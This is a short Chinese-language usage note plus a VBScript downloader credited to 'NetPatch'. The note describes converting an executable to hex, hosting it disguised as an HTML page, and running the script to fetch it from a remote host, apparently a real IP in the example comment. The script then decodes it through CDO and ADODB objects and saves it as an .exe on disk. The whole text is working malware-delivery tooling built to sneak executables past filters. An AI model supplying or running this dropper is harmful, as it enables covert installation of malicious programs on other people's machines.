使用方法：
1.exe2hex.vbs 把exe转成十六进制，放到Network上
2.down.vbs http://xxx/demo.htm c:\good.exe

demo.htm内容时用exe2hex.vbs转EXE后获得的

on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with